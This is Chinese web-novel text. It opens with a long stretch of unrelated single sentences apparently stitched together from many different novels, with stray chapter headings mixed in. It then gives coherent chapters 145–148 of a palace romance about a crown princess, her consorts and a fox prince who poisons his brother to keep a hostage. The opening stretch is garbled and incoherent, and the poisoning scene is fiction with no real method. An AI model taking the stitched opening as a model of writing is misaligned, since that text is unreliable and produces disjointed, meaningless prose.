这一幕,喜得两人轻飘飘的,仿若真的已经成仙,正漫步在仙境当中,四周都是芬芳。
没办法,现在距离末世开场还是太短了。对绝大部分职业者来说,能凑出买一件1阶普通装备的钱就不错了。
虽和法力的精纯灵性无法相提并论,但对于常人来说,也是一种不错的战力了。
一路上两个丫头都很不安,荷花还好些,茶花都吓得不会走路了,还是荷花不停安慰她才好些的。
只见那擦着兜帽而过的金属珠子绕了一圈之后,再度向机械魔物的身边聚集,旋了一周,并重新浮空稳住。
囚牛随后出了门,开始着手这批药物的事。想着有什么办法能让它发挥出更大的价值。
沈侯爷审视着即使坐在那里都身姿挺拔的年轻人,眼底闪过赞赏,别的不说,就这份不动声色倒是跟四丫头相配。
第一卷 第143章 换大凰太女见我一面
“慕兄,你要的药材。”
伏然大神悬浮半空,衣袍微微飘荡,居高临下俯视着阿黄,紫瞳内精芒一闪,便察觉这异兽身上存在信仰反馈之力,显然被某个天轮种了神力烙印,强迫也无法令其归顺,大概是原界天轮所为。
他们对当今形势看得清楚,如今只剩下一条路可以走了,虽然不是对手,但也总比坐以待毙的好。
“你先找个位置坐下等我一会,我马上就到。”电话那头的声音有些不耐烦。
“我来晚了。剩下的都交给我。”白夙看到温饶脸上的伤,知道他为了应付那些逼上山门的人,已经是尽了全力了。
云宝儿生在凤花,受九岛帝主栽培,二十余年达到如此成就,摆在霸主势力后代中并不奇怪,然而,证道七重击败帝主强者,这便让人感到极为惊艳,连风盖世都为之嫉妒。
火光冲天,爆炸声和燃烧声响在耳边,抬眼望去,整座山烧得旺盛,犹如一个打翻的大火炉。
“院长,我真的不知道你在说什么。”韩逸飞的脸都憋红了,但依旧倔强的不肯吐露一个字。
而皮思远为了加重自己的分量,就想要通过老同学黄祝同来引见陆凡。
就算颜晨警告了她,难道还能改变什么吗?或者说……还能有什么办法不嫁给皇甫夜吗?
“你不是在房里装了监控吗?自己去听不就知道了?”没想到颜苏非但不说,对她的态度也没有先前那么顺从。
顾倾城从始至终,眼底都像是什么都容不下一样了。在提到刘东的时候,眼底似乎也没有了情绪波动。
前方的火焰在此刻,直接坍陷成了一个点,里面的修士早已经不见了踪迹。
这一爬惊动了满屋的婢子,急忙围上去将梁诗秀按住阻止她下床,李叹虎口上的力道方才轻了一些,只是仍旧将我的下巴捏在手里,疼倒也不疼,看来是终有些下不去手。
我经常用她家的厨房泡个面,还经常用热水所以也要报答的,我也没有钱,只能给这个了。
闻言苏锦璃眸中闪过一丝赞赏,这春燕不愧是她姑姑的左膀右臂。
有的甚至忐忑的看着她想要过来扶着她,就怕她挺着肚子有个什么闪失,倒是韩瑾雨笑着拒绝了。
见他懊恼的模样,苏锦璃心下冷笑不已,她就知道,一提他们的多年情分顾明瓀到底会心软几分的。
仙界对古仙人而言,算不上根本,但是对仙人来说,那就是根本,而且将仙人留在仙界,这些仙人就不会跑到宇宙大世界中和修真者抢夺资源,而修真界才是所有修炼者的根本。
对方要怎么说,那也都是对方的事情,那确实是与恒彦林没有太大的干系。
李吉三尺青锋横撩,剑身之上气机充沛,隔了一丈都能感受到铺面而来的凌厉剑气。
但是最后一颗碎片实在是太大了,直径虽然只是增加了四倍,但是威力简直就是以指数形式增加的,纵使他那样的神能者,也不可能轻易当下来。
第一卷 第144章 伺候笔墨
于是,君羲就得到了顾青颖呈上来的这封加急密信。
密信内容有三。
一,慕夜声已经获救,在岚州边境获得了百姓们的爱戴。
庞谢一棍未曾击中,没有半分迟疑,顺势向回一撤,接着向下一压,长棍顺着地面扫去,力道丝毫不减,若是挨上一下,难免骨断筋折。
实在是太可怕了,难道……那个怪物是秘境中最新衍生出来的妖兽,皮肉紧实的不得了。
只是邀请函只有三张,看来就只能刘璃、安陌还有凌沂馨去看了。
吴昊蹙了蹙眉,刚准备往四周去找许温暖,看见他的秦以南,冲着洗手间的方向指了一下。
秦鱼忽然脚下一点,跳上牢笼,在牢笼的玄铁杆上行走,走到边沿——牢笼跟墙壁的缝隙之间。
——恐怕他也猜疑你化身的那个神秘人会救方有容复活,所以在自己参加主君战之前就安排了擅灵魂咒道的人蛰伏好,给方有容魂魄下咒。
“你不知道吗?”她累得不得了,打开萧桓的手,低声抱怨道,“你要是想不起来,就去看我收起来的信,我要睡觉。你不许吵我!”说完,也不管萧桓,翻了个身,抱着隐囊就沉沉地睡了。
只是,心理医生跟他说过,她频繁的接触男性,对她的病情很有影响。
当他靠近的时候,被迷住的薛瑶突然想起,时空裂缝会侵蚀人的心灵,如果有创伤的话,还会引来心魔。
以前莫子言总是来这里喝下午茶,她就花钱把这里买下了,想借机跟他拉近距离。
“基本上是,但我还不确定!”虽然,这几十人的宵夜,足够抵他一个月的生活费。
大胡子弗朗克是一位著名的画家,擅长肖像画,曾经卖出过一副上千万的画作,这次是陪同金发男好友来华国旅游的。
这些人没有经历过偷渡的事情,所以也不明白各国对于打击偷渡者的不同手段,更重要的是,他们并没有赵星辰那样的本事,利用神识取搜寻别人脑中的记忆,没有途径去了解这方面的信息。
她握着辰安的手机,开始犹豫要不要翻看一下里面的记录,帮自己确认一下辰安和夏程希之间是否真如卢星浩所说,好事将近了?
经过这样的一番烦躁原本挤人肚子本就空空荡荡进入餐厅之后却一点都没有吃,便再次出来了,于是车子在十分之后便停在了一个高档的餐厅门口。
这样的手段,还真是灵丹大成者才能够使用出来的,难道神刀大厦里真的有天兵存在?他们是怎么来的?这里有通往仙域的通道?
队员:尘昊,武魂:重尺,魂力未知,资料不详,但拥有魂王的战力。
按照套路来说,普通学生会把试卷先整体浏览一遍,把简单的送分题先给做完。
看着挺瘦的,胳膊腿倒是圆乎乎的,肉肉的,弹性也不错,像细筷子上绕了一层厚海绵。
“帮主,难道你知道一些什么东西吗?”管家这个时候还没有将所有的事情全部都要考虑到。他一脸疑惑地看着洪啸天,不知道他的心中这个时候在想着什么东西。
“就怕有心人会趁机造作!好吧,你想去我们就去,不让人发现行踪就好!”既然要去,就要避免被他人撞见,一切不利的消息,一个字都是不能传出去的。
第145章 给孤的阿景生火取暖
沉鱼表示,可不敢收正宫夫郎的礼。
她这点眼力见儿还是有的,大不了找太女殿下要赏赐,给太女殿下办事,还怕得不到丰厚的报酬吗?
沉鱼走得干脆,顾景行误以为是君羲等得急,吩咐下人将吃剩的早膳收下去,就跟着沉鱼的方向去御书房。
御书房中,金色辉煌威仪的龙椅上,君羲端坐其上,手中握着一杆上好的朱砂笔,一本又一本奏折被批阅而过。
渐渐地,女人没了耐心。
这里的大半折子,否是在夸耀她的功绩,文风有简约朴素的,也有华丽夸张的……
极尽天下溢美之词。
君羲却是看眉头皱得越深,她放下朱砂笔,手肘撑在案桌上,颇有些头疼地揉着太阳穴。
案桌还有厚厚的“两座山”,照这样批阅,她猴年马月才能批完。
“尽是些废话。”
君羲现在有一种将大凰九州所有没事干、只会拍马屁的官员全都换一遍的冲动,语气不免带了些怒气。
“殿下,顾正君来了。”
君羲正在烦躁之时,乍一听顾景行的名字,首先在脑海中出现的便是男人青莲一般与世隔绝、清雅淡泊的形象。
她心里的郁气都散了几分,面上不动声色,嘴角却是隐隐上升了几个弧度。
“快请阿景请进来。”
“殿下,怎么批折子还把自己给批生气了,是底下官员做事没做好吗?”
君羲拍拍身旁的位置,往旁边挪了挪,留下一个可供顾景行坐下的位置。
“阿景,过来,坐在孤身旁。”
等顾景行坐下后,君羲便依赖般地将头靠在男人宽阔的肩上。
她抱怨都带着些撒娇的意味。
“阿景,你是不知道,底下这帮官员都是吃干饭的,拿着孤给她们发的俸禄,干的全是一些阿谀奉承的花把事。”
树大必有枯枝,人多必有败类。
无论在官场还是江湖,这都是无法避免的。
顾景行问道:
“殿下可是头疼。”
“是有一些,阿景,你来得正好,你来替孤筛选奏折。”
顾景行迟疑道:
“殿下,这不太好吧,后宫男子不得干政。”
君羲一把拉住顾景行的手,将案桌上的一只品相上佳的朱砂笔放在男人的手心里。
“孤说可以便可以。”
既然君羲都这么说了,顾景行也不再推辞。
他其实也渴望着能凭借自身才能做一些事情,可惜……
顾景行身为男儿身,无法像女子一样正大光明文可读书入仕,武可行军打仗。
他看向一旁认真继续批阅奏折的女人,君羲给他的,换做任何一个位高权重的女子,都不可能给到。
顾景行第一次在心里庆幸,当初被君羲强娶进东宫,听闻林欣这人,好是好,就是有些大女子主义,认为男人就该在后院相妻教子,遵守三从四德。
顾景行看似温润,实则傲骨铮铮。
林欣适合小男人,却不适合满身才华的顾景行。
又或者说,除了君羲,大凰没有女人适合顾景行。
这种独一无二的信任,让顾景行心中越发动容。
“阿羲,如何筛选?”
“阿景随意看看,只要是阿谀奉承的折子,全都扔地上。”
扔地上?
孤景行有些好笑,君羲这话有些气鼓鼓意味在里面,还怪可爱的。
他在御书房中环视四周,终于,在一个书架上发现了一个方方正正、空间足够的木箱子。
顾景行欲起身去拿,用于装拍他妻主马屁的折子。
“阿景,去哪儿?”
君羲虽然没看着顾景行,但就像时刻盯着他一样,拉住男人的衣袖。
“陪孤,哪里都不许去。”
顾景卿顺着女人扯他衣袖的力道跟着晃了晃,温润如玉的嗓音宛如山涧间清澈流淌的小溪。
“阿羲,我就是去一旁的书架上拿那个木箱,不是要走。”
“行吧,快去快回。”
明明顾景行是第一次坐在她身旁陪她处理政事,但君羲总有一种灵魂上的熟悉感,就仿佛,她已经习惯了身旁有淡淡的莲花木质香味萦绕。
君羲一边飞快地用朱砂笔粘上红色的朱砂批阅奏折,将那些花里胡哨的折子啪啪往地上扔,一边还不忘用视线紧盯着去书架上取木箱的男人。
直到看到男人抱着木箱朝自己的方向走来,才收回视线。
她装作认真批阅奏折,半分神也没走的样子。
顾景行将木箱放在地上,然后伸手朝那“两座山”探去。
他一目十行,筛选的速度很快。
筛选了半盏茶,顾景行理解为什么君羲批阅奏折会越批越烦躁了。
这些官员的确是没事干,夸奖的话都快夸出花来了,若是偶尔一两次,还让人觉得开心,毕竟没有人不喜欢得到夸赞。
但若是……成百上千次,不重样的夸赞,如同雪花一般纷飞踏来,换谁都会心情烦躁。
“阿羲,真的要丢啊?”
“嗯嗯,待会儿回去便把这些废纸一把火烧了,给孤的阿景生火取暖。”
顾景行噗嗤一笑,原来在君羲的心目中,这些狗屁不通的奏折,只能用来生火取暖用。
“阿羲,若是让写折子的官员知晓,怕是会伤心难过了。”
毕竟极尽华丽辞藻夸赞太女殿下就是为了能从中得到好处,甚至是得到君羲的赏识。
却不想,君羲看都没看一眼,让顾景行替她挑选,准备一把火烧了。
“她们写出这些狗屁不通的折子过来,浪费孤的时间,孤没找她们算账就不错了。”
君羲顿了顿,继续道:
“还敢伤心难过?怕不是嫌弃自己的乌纱帽戴得太安稳了。”
“是是是,殿下最厉害了。”
“那,厉害的太女殿下,能不能找阿景要奖励?”
君羲幼稚得像个小孩儿一样。
顾景行想了想,坐在君羲身旁握起朱砂笔。
他有过目不忘之能,只要是翻看过的,就能够牢牢记住。
顾景行记得,这封奏折是辞藻最华丽的,适合用来做底。
他挑选出来后,平铺在案桌上。
然后,提笔在上面作画。
很亏,一树栩栩如生的红梅跃然纸上。
君羲将脑袋凑过来,一眨不眨地看着男子作画,有些惊叹于他的巧思,只见顾景行画笔一挥,便在那梅花树下画了一对对弈的男女。
明明只有寥寥几笔,却偏偏勾勒出神态。
让人一眼便觉得画上的人就是君羲和顾景行。
“阿羲,可要同我一起将这画完成?”
君羲没有说话,只是将手附在男人的大手上。
顾景行明白,君羲这是想同他一起。
于是,大手一包,将君羲的小手握在手心,在奏折上作画,点点红梅飘下,落在棋盘上,落在地上,浪漫唯美。
“阿景,你画得好漂亮。”
惹人厌烦的奏折上面多了顾景行的话,君羲不觉得它碍眼了,甚至……
她还想定做画框,将其永远封存在里面,挂在霁月殿正殿中。
“殿下,现在没那么厌烦了吧?”
“自然!”
二人就在御书房中处理政事,偶尔,顾景行在翻阅奏折时会选出那么一两封文采斐然的文章,挑出来,在上面作画。
之后,君羲会对其作出点评,并将画了顾景行画的奏折全都藏了起来,放在御书房或者霁月殿中。
等什么时候想看了,便拿出来看看,这都是他她正君恩爱的证据!
这边岁月静好,岚州却是鸡飞狗跳。
“王大人,他们又来了。”
来禀报情况的探子都有些有气无力了,这些天来她禀报了不下五十次,每次都是一模一样的情况。
王冰更是暴躁地抓了抓头皮,满心抓狂。
“太女殿下,你快来管管你的未婚夫吧!”
她都快被烦死了。
但,该去还是得去。
如今岚州的赈灾事宜,都在往好的方向发展,可不能在她的手上搞砸了某一处,导致引发雪崩效应,整体全部垮掉。
等王冰到了边境线,便立刻敏锐地察觉到……
少了一对人马!
以往每次来,迎接她的都是蛇族和狐族,白渊和涂山烈有时会来,有时不会来。
但,此刻,到场的只有蛇族……
白渊和涂山裂都没有看到,狐族的士兵也没看到。
王冰心里犯嘀咕,这是发生什么事情了?
“涂山烈王呢?”
“王爷的事不是你可以打听的。”
王冰险些气笑了,哟呵喂,可真是太搞笑了。
烈王的事情不是她这个钦差可以打听的,那大凰太女的事情就是这两个弱小的族群可以打听的吗?
还是寻求合作呢,还敢扣住当朝户部尚书王紫汐,这一切,都称得上是挑衅了。
她眼睛一眯,问道:
“不会是偷偷摸摸混进边境了吧?”
王冰误打误撞还真猜对了……
王冰盯着对方的脸,发现了一丝慌乱。
“等等,你的神色怎么突然慌了?难不成,本官猜对了?”
“怎么可能!少族长就是困了,冬眠去了。”
“是啊!如今天气寒冷,我们蛇族都喜欢在这段时间冬眠。”
王紫汐:“……”
她是半句话都不相信!
绝对有猫腻!
白渊和涂山烈都不在,若是真的如她猜想的那样混进了岚州境内,遇上慕夜声和王权不弃……
“不用管她们了,打道回府。”
……
第146章 致死
实际上,王冰的猜测只对了一半。
白渊的确是没耐心等下去了,决定主动出击,混进了岚州境内。
但是涂山烈可不是,他是因为涂山靖擅闯地牢,欲将王紫汐带走一事脱身乏术。
“王兄好兴致,居然有空来本王的地牢闲逛。”
“王弟,你误会了,本王就是喝多了,迷路了。”
迷路迷到烈王府地牢?这话骗小孩儿小孩儿都不信。
涂山烈自然也不信,但是涂山靖撒泼打滚的事情做得多了,没脸没皮的,他又不能杀了涂山靖,就——
烦死了!
涂山靖时不时就在涂山烈跟前蹦跶两下,比跳蚤还烦人。
偏偏涂山靖还没有自知之明,认为凭借高超的撒谎技术和表演技术能瞒天过海,殊不知,涂山烈一眼就看穿了他的谎言。
“既然喝多了,不如留在这里,本王给王兄好好醒醒酒。”
“这、这就不劳烦王弟了吧。”
涂山靖有看到地牢里的刑具,每一样刑具都长相可怖,上面还残留着难以洗清的血污和皮质,看上去就吓人。
他可不想体会这牢中的刑具。
涂山靖也在心中暗自懊恼,怎么就偷鸡不成蚀把米?
明明已经打探到涂山烈像往常一样去了边境线,怎么会突然回来,还把他当场抓包……
手底下的人做事真是不靠谱,回去一定要好好罚他们一番!
他心里想了许多,面上却是讪讪一笑,近乎讨好的语气对着涂山烈道:
“王弟,王兄当真是喝醉了,现在看你都有三个,你就别同王兄一般计较了,好不好?”
或许是发现自己的语气太过卑微,他转而又用狐王来威胁涂山烈。
“王弟,你也不想父王因你伤了我而责罚你吧。”
狐王年迈多病,早就不负年轻时的勇猛。
他的狐王之位虽然是兄弟相残从中杀出一条血路得来的,但他并不希望自己的儿子们相互残杀。
狐王最是看重兄友弟恭,若是让狐王知道,狐族所谓的战神是一个残害手足的凶恶之人,定会对涂山烈不喜。
再加上狐王本就对涂山烈战神之名有所不满,如今狐族众多族民,只知涂山烈,而不知狐王之名……
涂山烈在这节骨眼上犯错,可是会导致致命的后果的。
“王兄说笑了,本王不过是想请王兄上去喝一碗醒酒汤,怎么就扯到伤害不伤害上去了?”
涂山烈压着心中烦躁,做了一个请的手势。
“王兄,这边请。”
涂山靖哪里敢走前面?他怕涂山烈走在他身后,趁他不注意从背后捅他一刀。
“呵呵,王弟客气了,为兄喝醉了,走得慢,王弟在前面带路,为兄慢慢跟上即可。”
涂山靖此人,可真的是该怂的时候绝对不勇敢,比如此刻。
用他的脚趾头想,涂山烈也不会在这种时候对他下手,但涂山靖就是担心那亿万分之一的可能性。
涂山烈也懒得和涂山靖掰扯,他只需要确保涂山靖从地牢里出去,并且,王紫汐还好好的待在地牢里即可。
王紫汐可是他用来交换大凰太女同自己交易的一枚重要筹码,可不能落在涂山靖的手中。
涂山靖此人虽蠢,但狐王却很宠爱他。
给了涂山靖一只精锐卫队,王紫汐若是落入了涂山靖手中,想要回来……可得费一番功夫。
根据涂山烈探知的情报,君羲极有可能在三日后抵达岚州,这也是涂山烈今日不和白渊争着去岚州边境线的原因之一。
“王兄,请务必跟上。”
涂山烈朝一旁的暗卫使了个眼色,示意他将地牢中的死刑犯拉出来重刑伺候。
什么刑具看上去最血腥、最恐怖就用什么刑具,为的就是吓涂山靖,看他下次还敢不敢趁虚而入,趁涂山烈不在偷进地牢。
“啊!”
“给我一个痛快……求你了。”
“我什么都说……”
“……”
幽深狭长的地牢两侧,刑具房中,传来阵阵惨叫,此起彼伏。
听得涂山靖起了一声鸡皮疙瘩。
刺鼻的血腥味和腐烂味更是让涂山靖心中受到了极大的冲击。
之前他进来时,不觉得这地牢的路有多长,现在却觉得每走一步都是受尽煎熬。
什么时候,这条漫长的地牢才能走到头啊?
偏偏,前面的涂山烈还放慢了步子,涂山靖跟在身后,为了不撞上涂山烈的后背,只能也跟着放慢步子。
步子放慢了之后,周围的声音和血腥味就愈发的明显。
涂山靖一路上走得后背都湿透了,生怕涂山烈一个不高兴,将他也丢进刑房中刑伺候……
他这从小养尊处优,一身皮肉养得尊贵,若是遭了刑,可不得去了半条命?
“王弟啊,能不能走快一些,为兄有些困乏了,想回府休息了。”
涂山烈心中冷哼:呵呵,现在知道快了?
涂山烈故意越走越慢,甚至还有时间停下来问涂山靖喜欢哪一种则刑罚,他可以让执刑的人去教。
涂山靖笑得一脸勉强,脸色都白了,连忙摇头。
“王弟,为兄对这些不感兴趣。”
涂山烈不管涂山靖拒绝的肢体动作,生拉着涂山靖靠近牢房,近距离观赏刑罚,贴心在一旁讲解。
涂山靖在涂山烈略显冷冽的声音中,感觉仿佛他自己就是刑架上正在受刑的人一样。
“王弟,为兄知错了。”
事到如今,涂山靖终于愿意开口承认自己的错误。
涂山烈十分满意自己这一番举动带来的效果,饶有兴致地反问道:
“哦,王兄错哪儿了?”
“王弟,为兄错在不该未经你允许便进地牢,哪怕是喝醉了……也不该,为兄在这里跟你道歉。”
涂山烈赴敷衍道:
“不敢当。”
话落,涂山烈便大步向地牢外走去。
涂山靖见状,知道涂山烈这是愿意放自己一马的意思,连忙屁颠屁颠地跟在背后,一路小跑着追上去。
“当得,当得,王弟便是狐族最善解人意的狐。”
……
涂山烈这一手杀鸡儆猴,告诉涂山靖,烈王府地牢,这一次能安然无恙的出去,下一次可就不一定了。
战神之名,并不是徒有虚名,是真刀真枪杀出来的。
慈不掌兵,涂山烈可不是什么软柿子!
真惹急了他,他才不管什么狐王不狐王,大不了杀了涂山靖之后,带着亲卫躲进十万雪山,另起山头。
涂山靖并不知道涂山烈心中真实的想法,他只知道,他终于安全出了地牢。
耳边的惨叫声和鼻尖萦绕不散的血腥味,终于全部消失不见。
涂山靖深深吸了几口气。就准备离开。
就在这时,烈王府的一个男仆端着托盘,端上了一碗黑乎乎的醒酒汤。
涂山烈顺手拿起,递到涂山靖面前。
“王兄,这便是醒酒汤,快喝吧,下次可不能喝得这么醉了,王弟手中也不是什么时候都能有醒酒汤让王兄心里保持清醒的。”
涂山靖哪里敢喝啊?
药看上去黑得吓人,怕不是什么毒药吧?他怕喝了之后,直接被毒死了。
“王弟真是太客气了,刚刚在地牢里空气太过稀缺,本王才有些神志不清醒,现在到了外面,清爽的风一吹,本王觉得好多了,半点都没有晕眩的情况。”
涂山烈却是冷的神色,今天这碗醒酒汤,涂山靖喝也得喝,不喝也得喝。
“王兄,这是不给王弟面子喽?”
这句话说的很轻,但涂山靖却从里面听出了淡淡的杀意。
他知道,自己今天若是不喝了这碗醒酒汤,怕是不能全须全尾地走出烈王府了。
怎么办?
要不要喝……
涂山靖脑海中天人交战了一会,最终下定了决心一般,接过涂山烈递过来的醒酒汤,咕咚咕咚全喝了个干净。
“王弟,为兄喝完了,可以走了吗?”
“自然,王兄请便。”
终于能走了!
涂山靖为了能早点离开烈王府,刚刚那碗醒酒汤可不是装模作样,而是真真实实、一滴不剩地全进了他肚子里。
他心中有种强烈的不安,必须马上回到自己的地盘,找顶尖的名医替他诊治。
看涂山烈是不是在里面下了毒,涂山靖快要跨出大门时,听到涂山烈在身后喊他。
“王兄,刚刚忘记说了,醒酒汤里全是好东西,只是混在一起嘛……”
涂山靖被涂山烈这一番话吓得额头上冷汗直冒。
他就知道!
涂山烈不可能这么轻易地放他回去,他颤抖着唇瓣道:
“就怎样,混在一起会怎么样?”
涂山烈不紧不慢说完没有说完的话。
“致死。”
“你若是想好好活下去,就千万不要来惹本王,否则,王兄随时都会毒发身亡,王兄,你好自为之。”
这是承认下毒了?
涂山靖心中又惊又怒,涂山烈他怎么敢的?
居然敢对自己下毒,他就不怕自己告到父王面前吗?
“你!王弟,你也不怕露出马脚。”
“这点王兄可以放心,本王用的可是无价也无市的秘药。”
言外之意就是靖王府中没有医者能够查验出来,就算最终涂山靖毒发,毒素也会悄无声息地代谢出去,不留一丝痕迹。
涂山靖:……
“王弟此恩,本王铭刻于心。”
“不必谢。”
第147章 赔了夫人又折兵
一番兄友弟恭后,涂山烈满脸笑意,涂山靖却是脸色惨白。
恍恍惚惚间,他跨过烈王府大门,回了靖王府。
“王爷,王爷你这是怎么了?”
管家的呼喊让涂山靖从混沌的思绪中挣脱出来,他急忙抓住管家的袖子,用力到指骨发白。
仔细听,他的声音也有些发颤。
“管家,快快给本王请林神医过来。”
管家刚要领命下去,便见涂山靖着急地站起来,急声对他说:
“不、不止林神医,还有府上的所有神医,全都给本王请过来!”
涂山靖在原地来回走动,又是拍手又是拍头。
“还不够!管家,你直接张榜求医,赏金十万两,求一个能诊断出本王身上问题的神医。”
涂山靖盯着管家。
“管家你立刻去办!”
管家心里直抽抽,心想,这又是要让他去请林神医,又是要张榜求医,他只有一个人啊,做奴才也不是这么做的!
但管家看涂山靖此刻神色慌张,六神无主,知道此话若说出来,会惹得靖王勃然大怒。
识时务者为俊杰。
所以,他乖乖应和。
“是,老奴这就去办,王爷放心吧。”
管家是跟了涂山靖十五年的老人,他办事,涂山靖心里放心。
目送管家离开后,涂山靖才像浑身力气全被抽走了一般,瘫软在地上。
一想到身上中了不知名的剧毒,涂山靖心中就害怕。
也不知道……请来的神医能不能诊断出他身上的病症。
虽然涂山烈对他说,此药无法被诊断出来,但万一呢,万一就有那么一个神医能够诊断出,并研制出解药,他就不必受制于涂山烈。
涂山靖脑中思绪乱成一团,想七想八。
早知如此,今日他就不该亲自去地牢里找王紫汐,就应该派死侍去!
他可真是赔了夫人又折兵。
涂山靖心中如何懊恼,涂山烈不知,他此刻正站在王紫汐的地牢门前。
王紫汐一脸摆烂躺在稻草铺就的床铺上,见到涂山烈来了,也没什么回应。
既不说话也不动作,就像没看见涂山烈一样。
“王大人魅力可真够大的,竟引得本王的王兄前来劫狱。”
不出所料,王紫汐照样不说话,还翻了个身,侧过身子,将后背留给涂山烈。
一副不愿交流的样子。
涂山烈早就习惯王紫汐的臭脾气,之前若不是使用惑心之术,根本就没办法从她嘴里得到任何的信息。
但他知道,有一个人一定能让王紫汐开口,所以他继续道:
“王大人,你还不知道吧,大凰太女殿下三日后便会抵达岚州边境,到时你就是本王和太女做交易的筹码。”
涂山烈敏锐察觉王紫汐紧绷的后背。
“怎么样?很快就能回国了,开不开心?”
王紫汐表示:心里并不开心。
她此行犯了大错,太女殿下不处决他就不错了,怎么可能救自己?
太女殿下想救她,她的好儿子王权不弃可是巴不得她死。
如今,王权不弃得了太女殿下的喜欢,还不得疯狂给她上眼药?
王紫汐敢用脑袋保证,王权不弃心中一定在想,如何才能借刀杀了她。
“滚,要杀要剐,悉听尊便。”
“呵,王大人说笑了,你可是重要筹码,本王不会杀了你,毕竟……”
涂山烈有理有据,说出留着王紫汐性命的原因。
“活着的户部尚书、当朝太女的岳母,才更有价值,你说呢?”
王紫汐气得胸口剧烈起伏,骂道:
“卑鄙!”
“随你怎么说。”
交谈就此结束。
若王权不弃知道王紫汐的想法,只会想笑。
他想杀王紫汐,无需君羲。
他身为暗阁第一杀手,有的是办法悄无声息暗杀王紫汐。
王权不弃之所以不这么做,是因为父亲临死之前告诉过他,要开心快乐地活下去,不要被仇恨蒙蔽双眼。
之前,他问过君羲,若他的仇人还剩王紫汐一人。
同户部尚书相比,他的地位能有多重,在他和王紫汐之间,君羲会选择谁?
当时君羲给他的答案是——会选择他。
但王权不弃心中是有些不信的,在他看来,这只是女人在床榻上哄男人时的花言巧语,作不得数。
花开两朵,各表一枝。
另一边,王权不弃和慕夜声结束了这一天的看诊,回去时,已经是深夜。
天上无星也无月,若是没有烛火,周围黑得伸手不见五指。
慕夜声同王权不弃告别。
“王权兄,今日也多谢你了,早些回去休息吧,明日还需继续早起看诊。”
王权不弃点了点头。
“嗯。”
然后目送慕夜声进了营帐,确认没有什么问题,这才转身离开。
王权不弃的营帐就在慕夜声旁边,若是有什么动静,他也能第一时间赶到,保护慕夜声。
谁知,王权不弃刚走,慕夜声就发现——营帐里的东西被动过!
桌上的东西顺序不对,有轻微的挪动痕迹。
慕夜声心中立刻拉响了警报,但他知道,贸然打草惊蛇,很有可能激怒贼人。
他要做的是不动声色,假装没有发现,这样才能拖延时间,拖到王权不弃前来营救。
慕夜声对自己的三角猫功夫很有自知之明,他是不可能单独应对武功高强的贼人的。
若是贼人想要杀他,他很有可能没有任何抵抗之力。
他像往常一样,做一些寻常洗漱动作,但却惊讶地发现,没有任何的动静了。
就好像……
刚刚案桌上被挪动的东西,只是他的记忆错乱了一般。
慕夜声仔细回想,确认他不可能记错,东西就是被挪动过!
他的营帐,除了他,就只有王权不弃才有资格进来。
王冰和其属下是不会进他营帐的,因为他是君羲的男人,谁敢进他的营帐,那可真是活得不耐烦了。
“谁。”
慕夜声惊呼一声,朝传来动静的方向看去。
只来得及看到,被掀起一角的营帐以及一条银色尾巴。
这尾巴有点像——蛇尾!
而且还是木桶粗细的巨蛇!
慕夜声心中的不安更甚,十万雪山天气严寒,按理说,不可能有蛇类在此生活
。
蛇类是冷血动物,一到天寒便会冬眠,怎会有一条如此粗的巨蟒出现在他的房中?
慕夜声想到之前人为制造的雪崩,难道……幕后之人又要对他下杀手了?
逃跑的人正是白渊!
他混进岚州边境后,直往最大的营帐片区走去,一眼便发现了最大最华丽的营帐。
靠近营帐,他嗅到了一股特别好闻、令他着迷的气味。
白渊顺着气味,化身成蛇,游进营帐中。
悄无声息,没有引起任何人的注意。
在营帐中后,他在案桌上发现了有他喜欢味道的物品——
一枚精巧的玉佩。
上面的气息已经很淡很淡,必须要凑到鼻端,仔细闻才能闻到。
白渊拿起玉佩,放在鼻端,就跟上了瘾似的,疯狂汲取着上面残留的气味。
等他反应过来时,才发现自己的不对劲。
他对人对物一直比较冷淡,族中的人还怀疑他是不是那方面的功能不行。
所以才一直没有选妻主,可白渊知道,他不是不行,只是对族中的雌性蛇人都不感兴趣。
此枚玉佩上的气息,是很独特。
像山巅最纯净的雪,带着一丝清冷,尾调又有一丝若有似无的幽香,撩人心弦。
但这营帐,应当是慕夜声的营帐。
也就是他未婚妻侧夫的营帐,他在进入营帐之前,有听外面巡逻的守卫提到慕夜声这段时间来的壮举。
这上面的气息,不像是男子,反而像是女子。
那这枚玉佩是属于谁的,答案几乎昭然若揭。
发现玉佩似乎用特异的地方,举起来,对着烛火的地方映照,里面有一个字——羲。
笔走龙蛇,铁画银钩。
似乎能从这笔触里窥见大凰太女的一丝风采。
原来是你呀,大凰太女,他的未婚妻。
白渊愈发期待同君羲见面了。
他想知道,散发着让他着迷的气息的女人,会是什么模样。
这个女人还是他的未婚妻,若见了面,这冷香还是让他如此着迷,他也不是不可以考虑入赘,反正他也不想当这个少族长了。
就在他思索之时,外面突然传来了脚步声,有人回来了!
而且,还有一个内力极其深厚之人。
白渊不敢动作,怕被外面的人发现。
等确认内力高深的那人离开感应范围后,他才变作蛇身,藏于床铺底下。
脚步声越来越近,白渊朝外看去。
进来的人长着一副谪仙容貌,有淡淡的药香味从他身上散发出来,盖住了原本清冷的雪香。
白渊鼻头皱了皱,有些不满。
他不喜欢药味,喜欢雪香。
慕夜声眼神落在案桌上时,凝固了几秒,白渊认为,慕夜声很有可能发现了东西被动过。
他当即屏住呼吸,看慕夜声会有什么反应。
若是大喊大叫,他就出去打昏带走。
但,慕夜声并没有任何的反应,像往常一样,很寻常地整理洗漱,准备上床睡觉……
白渊可不想一直窝在床底下,他是一条对生活品质有很高追求的蛇!
反正,慕夜声武力值不高,发现他也不能拿他怎样。
他现在还是蛇形态,可以直接溜走。
大不了被当成一条误闯进来的蛇,所以才有了慕夜声看到的那一幕。
慕夜声只来得及看到白渊后半部分身体位置,心中惊讶,居然有蛇。
但现在已经很晚了,慕夜声等待了一段时间后,营帐中没有别的动静,他决定明日再讨论这个事情。
或许王冰会知道些什么……
第148章 梦中一片旖旎
想到这儿,他便放松心神,放任自己睡过去。
身为医者,慕夜声知道,保持充足的睡眠,才能让一个人养足精神气。
他现在每日要做的事情很多,不能顾此失彼。
次日,王冰、慕夜声、王权不弃以及诸多重要官员齐聚一堂,慕夜声将自己昨夜的发现说出口。
王冰立刻反应过来,肯定是白渊!
昨日就没见白渊,还从试探中发现极有可能溜进了岚州边境。
没想到,竟是溜进慕夜声的营帐,幸好,慕侧夫没事……
否则,他有八个脑袋,也不够太女殿下砍的!
王冰心中松了一口气。
“王大人,你知道情况?”
王冰连忙将知道的所有事情和盘托出。
慕夜声了然,原来是妻主的又一个未婚夫,说到底还是君羲的桃花债。
